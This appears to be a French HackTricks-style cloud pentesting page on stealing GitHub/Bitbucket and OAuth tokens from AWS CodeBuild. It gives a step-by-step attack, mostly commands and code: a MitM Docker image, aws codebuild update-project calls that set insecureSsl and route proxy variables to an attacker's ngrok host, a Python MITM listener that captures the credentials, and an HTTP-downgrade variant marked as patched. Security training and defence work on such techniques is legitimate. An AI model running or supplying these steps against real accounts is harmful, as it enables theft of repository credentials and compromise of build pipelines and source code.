# AWS Codebuild - Token Leakage

{{#include ../../../../banners/hacktricks-training.md}}

## Récupérer les jetons configurés Github/Bitbucket

Tout d'abord, vérifiez s'il y a des identifiants source configurés que vous pourriez fuiter :
```bash
aws codebuild list-source-credentials
```
### Via Docker Image

Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.

À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.

L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.

1. **Créer et télécharger votre propre image Docker MitM**
- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**.
- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
2. **Définir l'environnement**
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
- Définissez le projet pour utiliser l'**image Docker précédemment générée**.

<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

3. **Définir le proxy MitM sur votre hôte**

- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
```bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"
```
> [!TIP]
> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10, cela pourrait ne pas fonctionner.

4. **Exécutez la construction et capturez les identifiants**

- Vous pouvez voir le token dans l'en-tête **Authorization** :

<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

Cela pourrait également être fait depuis l'aws cli avec quelque chose comme
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL

Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\
L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.

- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet **`insecureSsl`** à **`True`**. Voici un exemple de ma mise à jour d'un projet, remarquez le **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez changer dans la configuration recueillie).
- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
```bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Enfin, cliquez sur **Build the project**, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm :

<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

### ~~Via le protocole HTTP~~

> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**

Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.

- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).

<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- Ensuite, changez l'URL du dépôt github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port pointé par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande :
```sh
aws codebuild start-build --project-name <proj-name>
```
- Enfin, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm :

<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il a et (ab)user plus facilement que d'utiliser directement le service CodeBuild.

{{#include ../../../../banners/hacktricks-training.md}}
